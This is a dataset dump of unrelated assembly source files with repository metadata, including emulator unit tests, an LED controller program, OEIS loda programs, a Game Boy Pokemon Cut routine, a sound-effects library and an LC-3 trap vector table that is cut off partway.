] | 576 | 2020-03-06T08:25:12.000Z | 2022-03-30T04:05:29.000Z | unittests/ASM/PrimaryGroup/3_F7_00.asm | cobalt2727/FEX | 13087f8425aeaad28dc81bed46a83e1d72ff0db8 | [
"MIT"
] | 38 | 2020-03-07T06:10:00.000Z | 2022-03-29T09:27:36.000Z | %ifdef CONFIG
{
"RegData": {
"RAX": "0x0200",
"RBX": "0x0600",
"RCX": "0x0600"
},
"MemoryRegions": {
"0x100000000": "4096"
}
}
%endif
mov rdx, 0xe0000000
mov rax, 0x4142434445464748
mov [rdx + 8 * 0], rax
mov rax, 0x5152535455565758
mov [rdx + 8 * 1], rax
mov rax, 0x6162636465666768
mov [rdx + 8 * 2], rax
test qword [rdx + 8 * 2], 0x71727374
; test = 0x6162636465666768 & 0x71727374 = 0x61626360
; 0: CF - 00000000
; 1: - 00000010
; 2: PF - 00000100
; 3: 0 - 00000000
; 4: AF - 00000000 <- Undefined
; 5: 0 - 00000000
; 6: ZF - 00000000
; 7: SF - 00000000
; ================
; 00000110
; OF: LAHF doesn't load - 0
mov rax, 0
lahf
mov rcx, rax
test dword [rdx + 8 * 1], 0x71727374
; test = 0x55565758 & 0x71727374 = 0x51525350
; 0: CF - 00000000
; 1: - 00000010
; 2: PF - 00000100
; 3: 0 - 00000000
; 4: AF - 00000000 <- Undefined
; 5: 0 - 00000000
; 6: ZF - 00000000
; 7: SF - 00000000
; ================
; 00000110
; OF: LAHF doesn't load - 0
mov rax, 0
lahf
mov rbx, rax
test word [rdx + 8 * 0], 0x7172
; test = 0x4748 & 0x7172 = 0x4140
; 0: CF - 00000000
; 1: - 00000010
; 2: PF - 00000000
; 3: 0 - 00000000
; 4: AF - 00000000 <- Undefined
; 5: 0 - 00000000
; 6: ZF - 00000000
; 7: SF - 00000000
; ================
; 00000010
; OF: LAHF doesn't load - 0
mov rax, 0
lahf
hlt
| 17.333333 | 53 | 0.571006 |
1d980eed590a54a716e15a8f6c3ddeb8b94beda6 | 492 | asm | Assembly | tests/nasm/pand.asm | Tuna0128/Tuna0128.github.io | 7976c8236209a09f82fddd7c74ebcec86119d491 | [
"BSD-2-Clause-FreeBSD"
] | 12,700 | 2015-01-04T15:03:42.000Z | 2022-03-31T06:43:06.000Z | tests/nasm/pand.asm | Tuna0128/Tuna0128.github.io | 7976c8236209a09f82fddd7c74ebcec86119d491 | [
"BSD-2-Clause-FreeBSD"
] | 566 | 2015-01-01T18:16:40.000Z | 2022-03-31T19:59:10.000Z | tests/nasm/pand.asm | Tuna0128/Tuna0128.github.io | 7976c8236209a09f82fddd7c74ebcec86119d491 | [
"BSD-2-Clause-FreeBSD"
] | 1,182 | 2015-01-05T09:20:48.000Z | 2022-03-31T12:16:52.000Z | global _start
section .data
align 16
quad1:
dq 0xad0000ceadad00ff
quad2:
dq 0xffffffffffffffff
quad3:
dq 0x0000000000000000
quad4:
dq 0x7fff8000ffff0808
mydword:
dd 0xcafebabe
%include "header.inc"
movq mm0, [quad1]
movq mm1, [quad2]
movq mm2, [quad3]
movq mm3, [quad4]
movq mm4, [quad1]
pand mm1, [quad2]
pand mm1, mm2
pand mm2, [quad1]
pand mm2, mm3
pand mm3, [quad3]
pand mm3, mm4
pand mm4, [quad1]
pand mm4, mm1
pand mm4, mm3
%include "footer.inc"
| 13.666667 | 22 | 0.689024 |
0a9fe147f67cb3fae963e7f579811de03952eaa0 | 3,257 | asm | Assembly | sdk-6.5.20/tools/led/example/greyhound2/bcm953570k_0.asm | copslock/broadcom_cpri | 8e2767676e26faae270cf485591902a4c50cf0c5 | [
"Spencer-94"
] | null | null | null | sdk-6.5.20/tools/led/example/greyhound2/bcm953570k_0.asm | copslock/broadcom_cpri | 8e2767676e26faae270cf485591902a4c50cf0c5 | [
"Spencer-94"
] | null | null | null | sdk-6.5.20/tools/led/example/greyhound2/bcm953570k_0.asm | copslock/broadcom_cpri | 8e2767676e26faae270cf485591902a4c50cf0c5 | [
"Spencer-94"
] | null | null | null | ;
; $Id: bcm953570k_0.asm, v 1.0 2017/08/29 15:30:14 leonlee Exp $
;
; This license is set out in https://raw.githubusercontent.com/Broadcom-Network-Switching-Software/OpenBCM/master/Legal/LICENSE file.
;
; Copyright 2007-2020 Broadcom Inc. All rights reserved.
;
; This example is used for showing the serial LEDs on BCM953570K using LED bus.
;
; To start it, use the following commands from BCM:
;
; led load bcm953570k_0.hex
; led auto on
; led start
;
; Each port needs to output 4 bits stream,
; bit 0: LED_0 (activity)
; bit 1: LED_0 (activity)
; bit 2: LED_1 (link up/down)
; bit 3: LED_1 (link up/down)
;
; Totally 24 ports need be outputed
;
; In physical port view, the output order is:
; 2, 3, 4 ... 25
;
; Link up/down info cannot be derived from LINKEN, as the LED
; processor does not always have access to link status. This program
; assumes link status is kept current in bit 0 of RAM byte (0xA0 + portnum).
; Generally, a program running on the main CPU must update these
; locations on link change; see linkscan callback in
; $SDK/src/appl/diag/ledproc.c.
;
;
; Constants
;
START_PORT_0 equ 2
END_PORT_0 equ 25
;
; LED process
;
start_sec0:
ld a, START_PORT_0
iter_sec0:
port a
ld (PORT_NUM), a
call get_activity_hw
ld a, (PORT_NUM)
port a
call get_link_hw
ld a, (PORT_NUM)
inc a
cmp a, END_PORT_0 + 1
jnz iter_sec0
end:
; output the maximun bits for the LED bus
; to avoid undesired repetitive behavior
send 255
;
; get_activity_hw
;
; This routine finds the link status LED for a port from HW.
; Inputs: (PORT_NUM)
; Outputs: Carry flag set if RX or TX is up, clear if link is down.
; Destroys: a, b
get_activity_hw:
pushst RX
pushst TX
tor
pop
jc led_on_green
jmp led_off
;
; get_link_hw
;
; This routine finds the link status LED for a port from HW.
; Inputs: (PORT_NUM)
; Outputs: Carry flag set if link is up, clear if link is down.
; Destroys: a, b
get_link_hw:
pushst LINKEN
pop
jc led_on_green
jmp led_off
;
; get_link_sw
;
; This routine finds the link status LED for a port.
; Link info is in bit 0 of the byte read from PORTDATA[port]
; Inputs: (PORT_NUM)
; Outputs: Carry flag set if link is up, clear if link is down.
; Destroys: a, b
get_link_sw:
ld b, PORTDATA
add b, (PORT_NUM)
ld a, (b)
tst a, 0
jc led_on_green
jmp led_off
;
; led_on_green
;
; Outputs: Bits to the LED stream indicating ON
;
led_on_green:
push 1
pack
push 0
pack
ret
;
; led_off
;
; Outputs: Bits to the LED stream indicating OFF
;
led_off:
push 0
pack
push 0
pack
ret
; Variables (SDK software initializes LED memory from 0xA0-0xff to 0)
PORTDATA equ 0xA0
PORT_NUM equ 0xE0
; Symbolic names for the bits of the port status fields
RX equ 0x0 ; received packet
TX equ 0x1 ; transmitted packet
COLL equ 0x2 ; collision indicator
SPEED_C equ 0x3 ; 100 Mbps
SPEED_M equ 0x4 ; 1000 Mbps
DUPLEX equ 0x5 ; half/full duplex
FLOW equ 0x6 ; flow control capable
LINKUP equ 0x7 ; link down/up status
LINKEN equ 0x8 ; link disabled/enabled status
ZERO equ 0xE ; always 0
ONE equ 0xF ; always 1
| 21.012903 | 133 | 0.677924 |
c5a1738bf944742ab9246478e9b553f4bf10d57e | 657 | asm | Assembly | oeis/333/A333321.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 11 | 2021-08-22T19:44:55.000Z | 2022-03-20T16:47:57.000Z | oeis/333/A333321.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 9 | 2021-08-29T13:15:54.000Z | 2022-03-09T19:52:31.000Z | oeis/333/A333321.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 3 | 2021-08-22T20:56:47.000Z | 2021-09-29T06:26:12.000Z | ; A333321: a(n) is the number of subsets of {1..n} that contain exactly 1 odd and 4 even numbers.
; 0,0,0,0,0,0,0,0,4,5,25,30,90,105,245,280,560,630,1134,1260,2100,2310,3630,3960,5940,6435,9295,10010,14014,15015,20475,21840,29120,30940,40460,42840,55080,58140,73644,77520,96900,101745,125685,131670,160930,168245,203665,212520,255024,265650,316250,328900,388700,403650,473850,491400,573300,593775,688779,712530,822150,849555,975415,1006880,1150720,1186680,1350360,1391280,1576784,1623160,1832600,1884960,2120580,2179485,2443665,2509710,2804970,2878785,3207789,3290040,3655600,3746990,4152070,4253340
mov $1,$0
div $0,2
bin $0,4
add $1,1
div $1,2
mul $0,$1
| 65.7 | 501 | 0.785388 |
decb9622d0bca2de19abc7fac94e50b8752d015d | 4,940 | asm | Assembly | libsrc/games/bit_fx6.asm | iratahack/z88dk | 7917edb01695b53311ce60f7a3d70916e0ef7483 | [
"ClArtistic"
] | null | null | null | libsrc/games/bit_fx6.asm | iratahack/z88dk | 7917edb01695b53311ce60f7a3d70916e0ef7483 | [
"ClArtistic"
] | null | null | null | libsrc/games/bit_fx6.asm | iratahack/z88dk | 7917edb01695b53311ce60f7a3d70916e0ef7483 | [
"ClArtistic"
] | null | null | null | ; $Id: bit_fx6.asm $
;
; A "memory write" I/O variant is not necessary,
; this effects library is totally based on the external "beeper" fn
;
; Generic platform sound effects module.
;
; Library #6 by Stefano Bodrato
;
IF !__CPU_GBZ80__
SECTION code_clib
PUBLIC bit_fx6
PUBLIC _bit_fx6
INCLUDE "games/games.inc"
EXTERN bit_open
EXTERN bit_open_di
EXTERN bit_close
EXTERN bit_close_ei
; ASM driven bending for special effects ;)
EXTERN bit_synth_sub ; entry
EXTERN bit_synth_len ; sound duration
; FR*_tick should hold the XOR instruction.
; FR*_tick+1 should be set to 0 or to sndbit_mask
EXTERN FR1_tick
EXTERN FR2_tick
EXTERN FR3_tick
EXTERN FR4_tick
; FR_*+1 needs to be loaded with the 4 sound periods
EXTERN FR_1
EXTERN FR_2
EXTERN FR_3
EXTERN FR_4
;Sound routine..enter in with e holding the desired effect!
.bit_fx6
._bit_fx6
; Initialize the synthetizer
ld a,sndbit_mask
ld (FR_1+1),a
ld (FR_2+1),a
ld (FR_3+1),a
ld (FR_4+1),a
ld a,l
cp 8
ret nc
add a,a
ld e,a
ld d,0
ld hl,table
add hl,de
ld a,(hl)
inc hl
ld h,(hl)
ld l,a
jp (hl)
.table defw fx1 ; effect #0
defw fx2
defw fx3
defw fx4
defw fx5
defw fx6
defw fx7
defw fx8
; Level up
.fx1
call bit_open_di
ld b,40
.bloop
ld e,a
ld a,b
ld (FR_1+1),a
inc a
ld (bit_synth_len+1),a
ld (FR_2+1),a
inc a
ld (FR_3+1),a
inc a
ld (FR_4+1),a
ld a,e
push bc
call bit_synth_sub
pop bc
djnz bloop
jp bit_close_ei
.fx2
call bit_open_di
ld b,40
.bloop2
ld e,a
ld a,50
sub b
ld (FR_1+1),a
inc a
ld (FR_2+1),a
inc a
ld (FR_3+1),a
inc a
ld (FR_4+1),a
ld a,b
IF __CPU_INTEL__
rrca
rrca
and @00111111
ELSE
srl a
srl a
ENDIF
inc a
ld (bit_synth_len+1),a
ld a,e
push bc
call bit_synth_sub
pop bc
djnz bloop2
jp bit_close_ei
; Level up II
.fx3
call bit_open_di
ld b,40
.bloop3
ld e,a
ld a,b
ld (FR_1+1),a
inc a
ld (bit_synth_len+1),a
inc a
ld (FR_2+1),a
ld a,42
sub b
ld (FR_3+1),a
inc a
ld (FR_4+1),a
ld a,e
push bc
call bit_synth_sub
pop bc
djnz bloop3
jp bit_close_ei
.fx4
ld a,5
ld (bit_synth_len+1),a
call bit_open_di
ld b,3
.bloop4
ld e,a
ld a,50
sub b
ld (FR_1+1),a
add 20
ld (FR_2+1),a
add 30
ld (FR_3+1),a
ld a,60
sub a
ld (FR_4+1),a
ld a,e
push bc
call bit_synth_sub
pop bc
djnz bloop4
jp bit_close_ei
.fx5
ld a,5
ld (bit_synth_len+1),a
call bit_open_di
ld b,10
.bloop5
ld e,a
ld a,b
ld (FR_1+1),a
add 20
ld (FR_2+1),a
add 30
ld (FR_3+1),a
ld a,60
sub a
ld (FR_4+1),a
ld a,e
push bc
call bit_synth_sub
pop bc
djnz bloop5
jp bit_close_ei
.fx6
ld a,8
ld (bit_synth_len+1),a
call bit_open_di
ld b,250
.bloop6
ld e,a
ld a,b
ld (FR_1+1),a
sub 4
ld (FR_2+1),a
sub 15
ld (FR_3+1),a
sub 35
ld (FR_4+1),a
ld a,e
push bc
call bit_synth_sub
pop bc
jr nz,bloop6
jp bit_close_ei
.fx7
ld a,8
ld (bit_synth_len+1),a
call bit_open_di
ld e,a
ld a,255
ld (FR_1+1),a
sub 1
ld (FR_2+1),a
sub 10
ld (FR_3+1),a
sub 1
ld (FR_4+1),a
ld a,e
push bc
call bit_synth_sub
pop bc
jp bit_close_ei
.fx8
ld a,8
ld (bit_synth_len+1),a
call bit_open_di
ld e,a
ld a,255
ld (FR_1+1),a
sub 100
ld (FR_2+1),a
sub 10
ld (FR_3+1),a
sub 40
ld (FR_4+1),a
ld a,e
push bc
call bit_synth_sub
pop bc
jp bit_close_ei
ENDIF
| 16.091205 | 67 | 0.44332 |
4809005026ab526ed3e0e28a13d80c7575cb545b | 960 | asm | Assembly | programs/oeis/331/A331429.asm | jmorken/loda | 99c09d2641e858b074f6344a352d13bc55601571 | [
"Apache-2.0"
] | 1 | 2021-03-15T11:38:20.000Z | 2021-03-15T11:38:20.000Z | programs/oeis/331/A331429.asm | jmorken/loda | 99c09d2641e858b074f6344a352d13bc55601571 | [
"Apache-2.0"
] | null | null | null | programs/oeis/331/A331429.asm | jmorken/loda | 99c09d2641e858b074f6344a352d13bc55601571 | [
"Apache-2.0"
] | null | null | null | ; A331429: Expansion of x^2*(10-5*x+x^2)/((1-x)^4*(1-x^2)).
; 0,0,10,35,91,189,351,594,946,1430,2080,2925,4005,5355,7021,9044,11476,14364,17766,21735,26335,31625,37675,44550,52326,61074,70876,81809,93961,107415,122265,138600,156520,176120,197506,220779,246051,273429,303031,334970,369370,406350,446040,488565,534061,582659,634501
mov $15,$0
mov $17,$0
lpb $17
clr $0,15
mov $0,$15
sub $17,1
sub $0,$17
mov $12,$0
mov $14,$0
lpb $14
clr $0,12
mov $0,$12
sub $14,1
sub $0,$14
mov $9,$0
mov $11,$0
lpb $11
mov $0,$9
sub $11,1
sub $0,$11
mov $4,$0
add $4,$0
mov $8,1
add $8,$0
sub $8,1
lpb $0
add $0,1
mod $0,2
add $8,$4
mov $3,$8
add $3,2
mov $1,$3
sub $3,5
mov $4,$1
mov $8,6
lpe
mov $1,$3
trn $1,1
add $10,$1
lpe
add $13,$10
lpe
add $16,$13
lpe
mov $1,$16
| 19.591837 | 269 | 0.510417 |
566fce52b667eb43ab814f36b2d6d49e63163e6e | 5,401 | asm | Assembly | engine/overworld/cut.asm | etdv-thevoid/pokemon-rgb-enhanced | 5b244c1cf46aab98b9c820d1b7888814eb7fa53f | [
"MIT"
] | 1 | 2022-01-09T05:28:52.000Z | 2022-01-09T05:28:52.000Z | engine/overworld/cut.asm | ETDV-TheVoid/pokemon-rgb-enhanced | 5b244c1cf46aab98b9c820d1b7888814eb7fa53f | [
"MIT"
] | null | null | null | engine/overworld/cut.asm | ETDV-TheVoid/pokemon-rgb-enhanced | 5b244c1cf46aab98b9c820d1b7888814eb7fa53f | [
"MIT"
] | null | null | null | UsedCut:
xor a
ld [wActionResultOrTookBattleTurn], a ; initialise to failure value
ld a, [wCurMapTileset]
and a ; OVERWORLD
jr z, .overworld
cp GYM
jr nz, .nothingToCut
ld a, [wTileInFrontOfPlayer]
cp $50 ; gym cut tree
jr nz, .nothingToCut
jr .canCut
.overworld
dec a
ld a, [wTileInFrontOfPlayer]
cp $3d ; cut tree
jr z, .canCut
cp $52 ; grass
jr z, .canCut
.nothingToCut
ld hl, .NothingToCutText
jp PrintText
.NothingToCutText
TX_FAR _NothingToCutText
db "@"
.canCut
ld [wCutTile], a
ld a, 1
ld [wActionResultOrTookBattleTurn], a ; used cut
ld a, [wWhichPokemon]
ld hl, wPartyMonNicks
call GetPartyMonName
ld hl, wd730
set 6, [hl]
call GBPalWhiteOutWithDelay3
call ClearSprites
call RestoreScreenTilesAndReloadTilePatterns
ld a, SCREEN_HEIGHT_PIXELS
ld [hWY], a
call Delay3
call LoadGBPal
call LoadCurrentMapView
call SaveScreenTilesToBuffer2
call Delay3
xor a
ld [hWY], a
ld hl, UsedCutText
call PrintText
call LoadScreenTilesFromBuffer2
ld hl, wd730
res 6, [hl]
ld a, $ff
ld [wUpdateSpritesEnabled], a
call InitCutAnimOAM
ld de, CutTreeBlockSwaps
call ReplaceTreeTileBlock
call RedrawMapView
callba AnimCut
ld a, $1
ld [wUpdateSpritesEnabled], a
ld a, SFX_CUT
call PlaySound
ld a, $90
ld [hWY], a
call UpdateSprites
jp RedrawMapView
UsedCutText:
TX_FAR _UsedCutText
db "@"
InitCutAnimOAM:
xor a
ld [wWhichAnimationOffsets], a
ld a, %11100100
ld [rOBP1], a
ld a, [wCutTile]
cp $52
jr z, .grass
; tree
ld de, Overworld_GFX + $2d0 ; cuttable tree sprite top row
ld hl, vChars1 + $7c0
lb bc, BANK(Overworld_GFX), $02
call CopyVideoData
ld de, Overworld_GFX + $3d0 ; cuttable tree sprite bottom row
ld hl, vChars1 + $7e0
lb bc, BANK(Overworld_GFX), $02
call CopyVideoData
jr WriteCutAnimationOAMBlock
.grass
ld hl, vChars1 + $7c0
call LoadCutGrassAnimationTilePattern
ld hl, vChars1 + $7d0
call LoadCutGrassAnimationTilePattern
ld hl, vChars1 + $7e0
call LoadCutGrassAnimationTilePattern
ld hl, vChars1 + $7f0
call LoadCutGrassAnimationTilePattern
call WriteCutAnimationOAMBlock
ld hl, wOAMBuffer + $93
ld de, 4
ld a, $36 ; Overwrite attributes (use palette 6, green)
ld c, e
.loop
ld [hl], a
add hl, de
xor $60
dec c
jr nz, .loop
ret
LoadCutGrassAnimationTilePattern:
ld de, AnimationTileset2 + $60 ; tile depicting a leaf
lb bc, BANK(AnimationTileset2), $01
jp CopyVideoData
; HAX: this used to be called "WriteCutOrBoulderDustAnimationOAMBlock", but the boulder
; code got move out so they could use different palettes.
WriteCutAnimationOAMBlock:
call GetCutAnimationOffsets
ld a, $9
ld de, CutAnimationTilesAndAttributes
jp WriteOAMBlock
CutAnimationTilesAndAttributes:
db $FC,$16,$FD,$16
db $FE,$16,$FF,$16 ; Uses palette 6 (green, specifically for cut trees)
GetCutAnimationOffsets:
ld hl, wSpriteStateData1 + 4
ld a, [hli] ; player's sprite screen Y position
ld b, a
inc hl
ld a, [hli] ; player's sprite screen X position
ld c, a ; bc holds ypos/xpos of player's sprite
inc hl
inc hl
ld a, [hl] ; a holds direction of player (00: down, 04: up, 08: left, 0C: right)
srl a
ld e, a
ld d, $0 ; de holds direction (00: down, 02: up, 04: left, 06: right)
ld hl, CutAnimationOffsets
rept 9 ; Padding to prevent data shifting
nop
endr
; ld a, [wWhichAnimationOffsets]
; and a
; ld hl, CutAnimationOffsets
; jr z, .next
; ld hl, BoulderDustAnimationOffsets
.next
add hl, de
ld e, [hl]
inc hl
ld d, [hl]
ld a, b
add d
ld b, a
ld a, c
add e
ld c, a
ret
CutAnimationOffsets:
; Each pair represents the x and y pixels offsets from the player of where the cut tree animation should be drawn
db 8, 36 ; player is facing down
db 8, 4 ; player is facing up
db -8, 20 ; player is facing left
db 24, 20 ; player is facing right
; BoulderDustAnimationOffsets used to be here
rept 8
db 0
endr
ReplaceTreeTileBlock:
; Determine the address of the tile block that contains the tile in front of the
; player (i.e. where the tree is) and replace it with the corresponding tile
; block that doesn't have the tree.
push de
ld a, [wCurMapWidth]
add 6
ld c, a
ld b, 0
ld d, 0
ld hl, wCurrentTileBlockMapViewPointer
ld a, [hli]
ld h, [hl]
ld l, a
add hl, bc
ld a, [wSpriteStateData1 + 9] ; player sprite's facing direction
and a
jr z, .down
cp SPRITE_FACING_UP
jr z, .up
cp SPRITE_FACING_LEFT
jr z, .left
; right
ld a, [wXBlockCoord]
and a
jr z, .centerTileBlock
jr .rightOfCenter
.down
ld a, [wYBlockCoord]
and a
jr z, .centerTileBlock
jr .belowCenter
.up
ld a, [wYBlockCoord]
and a
jr z, .aboveCenter
jr .centerTileBlock
.left
ld a, [wXBlockCoord]
and a
jr z, .leftOfCenter
jr .centerTileBlock
.belowCenter
add hl, bc
.centerTileBlock
add hl, bc
.aboveCenter
ld e, $2
add hl, de
jr .next
.leftOfCenter
ld e, $1
add hl, bc
add hl, de
jr .next
.rightOfCenter
ld e, $3
add hl, bc
add hl, de
.next
pop de
ld a, [hl]
ld c, a
.loop ; find the matching tile block in the array
ld a, [de]
inc de
inc de
cp $ff
ret z
cp c
jr nz, .loop
dec de
ld a, [de] ; replacement tile block from matching array entry
ld [hl], a
ret
CutTreeBlockSwaps:
; first byte = tileset block containing the cut tree
; second byte = corresponding tileset block after the cut animation happens
db $32, $6D
db $33, $6C
db $34, $6F
db $35, $4C
db $60, $6E
db $0B, $0A
db $3C, $35
db $3F, $35
db $3D, $36
db $FF ; list terminator
| 20.003704 | 113 | 0.717089 |
76921e3695f566f4f0c1cfcb84dd7335a3426a6c | 199 | asm | Assembly | mc-sema/validator/x86_64/tests/OR32i32.asm | randolphwong/mcsema | eb5b376736e7f57ff0a61f7e4e5a436bbb874720 | [
"BSD-3-Clause"
] | 2 | 2021-08-07T16:21:29.000Z | 2021-11-17T10:58:37.000Z | mc-sema/validator/x86_64/tests/OR32i32.asm | randolphwong/mcsema | eb5b376736e7f57ff0a61f7e4e5a436bbb874720 | [
"BSD-3-Clause"
] | null | null | null | mc-sema/validator/x86_64/tests/OR32i32.asm | randolphwong/mcsema | eb5b376736e7f57ff0a61f7e4e5a436bbb874720 | [
"BSD-3-Clause"
] | null | null | null | BITS 64
;TEST_FILE_META_BEGIN
;TEST_TYPE=TEST_F
;TEST_IGNOREFLAGS=FLAG_AF
;TEST_FILE_META_END
; OR32i32
mov eax, 0x7
;TEST_BEGIN_RECORDING
or eax, 0x6fffffff
;TEST_END_RECORDING
| 16.583333 | 25 | 0.758794 |
e29d26fbe5fb7472059bdc9fbf474ff4e8057083 | 79 | asm | Assembly | sys/boot/end_all.asm | olifink/smsqe | c546d882b26566a46d71820d1539bed9ea8af108 | [
"BSD-2-Clause"
] | null | null | null | sys/boot/end_all.asm | olifink/smsqe | c546d882b26566a46d71820d1539bed9ea8af108 | [
"BSD-2-Clause"
] | null | null | null | sys/boot/end_all.asm | olifink/smsqe | c546d882b26566a46d71820d1539bed9ea8af108 | [
"BSD-2-Clause"
] | null | null | null | ; end_all
section end_all
xdef end_all
end_all
end
| 11.285714 | 23 | 0.531646 |
908968cd079d63f966f11e20766895198582d9d9 | 1,081 | asm | Assembly | Transynther/x86/_processed/NONE/_ht_un_/i9-9900K_12_0xa0.log_10_737.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 9 | 2020-08-13T19:41:58.000Z | 2022-03-30T12:22:51.000Z | Transynther/x86/_processed/NONE/_ht_un_/i9-9900K_12_0xa0.log_10_737.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 1 | 2021-04-29T06:29:35.000Z | 2021-05-13T21:02:30.000Z | Transynther/x86/_processed/NONE/_ht_un_/i9-9900K_12_0xa0.log_10_737.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 3 | 2020-07-14T17:07:07.000Z | 2022-03-21T01:12:22.000Z | .global s_prepare_buffers
s_prepare_buffers:
ret
.global s_faulty_load
s_faulty_load:
push %r10
push %r12
push %r13
push %r14
push %rbp
push %rcx
push %rsi
// Store
lea addresses_A+0x1f22c, %r13
nop
nop
dec %r10
mov $0x5152535455565758, %r14
movq %r14, (%r13)
nop
cmp $15536, %rbp
// Faulty Load
lea addresses_WC+0xf82c, %rcx
nop
nop
nop
nop
dec %rsi
vmovups (%rcx), %ymm2
vextracti128 $1, %ymm2, %xmm2
vpextrq $0, %xmm2, %r10
lea oracles, %r13
and $0xff, %r10
shlq $12, %r10
mov (%r13,%r10,1), %r10
pop %rsi
pop %rcx
pop %rbp
pop %r14
pop %r13
pop %r12
pop %r10
ret
/*
<gen_faulty_load>
[REF]
{'src': {'NT': False, 'same': False, 'congruent': 0, 'type': 'addresses_WC', 'AVXalign': False, 'size': 1}, 'OP': 'LOAD'}
{'OP': 'STOR', 'dst': {'NT': False, 'same': False, 'congruent': 6, 'type': 'addresses_A', 'AVXalign': False, 'size': 8}}
[Faulty Load]
{'src': {'NT': False, 'same': True, 'congruent': 0, 'type': 'addresses_WC', 'AVXalign': False, 'size': 32}, 'OP': 'LOAD'}
<gen_prepare_buffer>
{'e5': 1, '90': 4, '4f': 1, '8f': 3, '74': 1}
90 4f e5 8f 90 74 90 8f 8f 90
*/
| 18.322034 | 121 | 0.640148 |
e64598834d26fd3f47dabcf82dca84d61c75bf97 | 15,626 | asm | Assembly | lc3os5.asm | hackingotter/LC3-Simulator | dbb58929922149b29c0f0cf630d46261ed7cb01f | [
"MIT"
] | null | null | null | lc3os5.asm | hackingotter/LC3-Simulator | dbb58929922149b29c0f0cf630d46261ed7cb01f | [
"MIT"
] | null | null | null | lc3os5.asm | hackingotter/LC3-Simulator | dbb58929922149b29c0f0cf630d46261ed7cb01f | [
"MIT"
] | 1 | 2018-09-22T23:01:40.000Z | 2018-09-22T23:01:40.000Z |
; the TRAP vector table
.ORIG x0000
.FILL 612 ; x00
.FILL 612 ; x01
.FILL 612 ; x02
.FILL 612 ; x03
.FILL 612 ; x04
.FILL 612 ; x05
.FILL 612 ; x06
.FILL 612 ; x07
.FILL 612 ; x08
.FILL 612 ; x09
.FILL 612 ; x0A
.FILL 612 ; x0B
.FILL 612 ; x0C
.FILL 612 ; x0D
.FILL 612 ; x0E
.FILL 612 ; x0F
.FILL 612 ; x10
.FILL 612 ; x11
.FILL 612 ; x12
.FILL 612 ; x13
.FILL 612 ; x14
.FILL 612 ; x15
.FILL 612 ; x16
.FILL 612 ; x17
.FILL 612 ; x18
.FILL 612 ; x19
.FILL 612 ; x1A
.FILL 612 ; x1B
.FILL 612 ; x1C
.FILL 612 ; x1D
.FILL 612 ; x1E
.FILL 612 ; x1F
.FILL 541 ; x20
.FILL 545 ; x21
.FILL 551 ; x22
.FILL 564 ; x23
.FILL 576 ; x24
.FILL 607 ; x25
.FILL 612 ; x26
.FILL 612 ; x27
.FILL 612 ; x28
.FILL 612 ; x29
.FILL 612 ; x2A
.FILL 612 ; x2B
.FILL 612 ; x2C
.FILL 612 ; x2D
.FILL 612 ; x2E
.FILL 612 ; x2F
.FILL 612 ; x30
.FILL 612 ; x31
.FILL 612 ; x32
.FILL 612 ; x33
.FILL 612 ; x34
.FILL 612 ; x35
.FILL 612 ; x36
.FILL 612 ; x37
.FILL 612 ; x38
.FILL 612 ; x39
.FILL 612 ; x3A
.FILL 612 ; x3B
.FILL 612 ; x3C
.FILL 612 ; x3D
.FILL 612 ; x3E
.FILL 612 ; x3F
.FILL 612 ; x40
.FILL 612 ; x41
.FILL 612 ; x42
.FILL 612 ; x43
.FILL 612 ; x44
.FILL 612 ; x45
.FILL 612 ; x46
.FILL 612 ; x47
.FILL 612 ; x48
.FILL 612 ; x49
.FILL 612 ; x4A
.FILL 612 ; x4B
.FILL 612 ; x4C
.FILL 612 ; x4D
.FILL 612 ; x4E
.FILL 612 ; x4F
.FILL 612 ; x50
.FILL 612 ; x51
.FILL 612 ; x52
.FILL 612 ; x53
.FILL 612 ; x54
.FILL 612 ; x55
.FILL 612 ; x56
.FILL 612 ; x57
.FILL 612 ; x58
.FILL 612 ; x59
.FILL 612 ; x5A
.FILL 612 ; x5B
.FILL 612 ; x5C
.FILL 612 ; x5D
.FILL 612 ; x5E
.FILL 612 ; x5F
.FILL 612 ; x60
.FILL 612 ; x61
.FILL 612 ; x62
.FILL 612 ; x63
.FILL 612 ; x64
.FILL 612 ; x65
.FILL 612 ; x66
.FILL 612 ; x67
.FILL 612 ; x68
.FILL 612 ; x69
.FILL 612 ; x6A
.FILL 612 ; x6B
.FILL 612 ; x6C
.FILL 612 ; x6D
.FILL 612 ; x6E
.FILL 612 ; x6F
.FILL 612 ; x70
.FILL 612 ; x71
.FILL 612 ; x72
.FILL 612 ; x73
.FILL 612 ; x74
.FILL 612 ; x75
.FILL 612 ; x76
.FILL 612 ; x77
.FILL 612 ; x78
.FILL 612 ; x79
.FILL 612 ; x7A
.FILL 612 ; x7B
.FILL 612 ; x7C
.FILL 612 ; x7D
.FILL 612 ; x7E
.FILL 612 ; x7F
.FILL 612 ; x80
.FILL 612 ; x81
.FILL 612 ; x82
.FILL 612 ; x83
.FILL 612 ; x84
.FILL 612 ; x85
.FILL 612 ; x86
.FILL 612 ; x87
.FILL 612 ; x88
.FILL 612 ; x89
.FILL 612 ; x8A
.FILL 612 ; x8B
.FILL 612 ; x8C
.FILL 612 ; x8D
.FILL 612 ; x8E
.FILL 612 ; x8F
.FILL 612 ; x90
.FILL 612 ; x91
.FILL 612 ; x92
.FILL 612 ; x93
.FILL 612 ; x94
.FILL 612 ; x95
.FILL 612 ; x96
.FILL 612 ; x97
.FILL 612 ; x98
.FILL 612 ; x99
.FILL 612 ; x9A
.FILL 612 ; x9B
.FILL 612 ; x9C
.FILL 612 ; x9D
.FILL 612 ; x9E
.FILL 612 ; x9F
.FILL 612 ; xA0
.FILL 612 ; xA1
.FILL 612 ; xA2
.FILL 612 ; xA3
.FILL 612 ; xA4
.FILL 612 ; xA5
.FILL 612 ; xA6
.FILL 612 ; xA7
.FILL 612 ; xA8
.FILL 612 ; xA9
.FILL 612 ; xAA
.FILL 612 ; xAB
.FILL 612 ; xAC
.FILL 612 ; xAD
.FILL 612 ; xAE
.FILL 612 ; xAF
.FILL 612 ; xB0
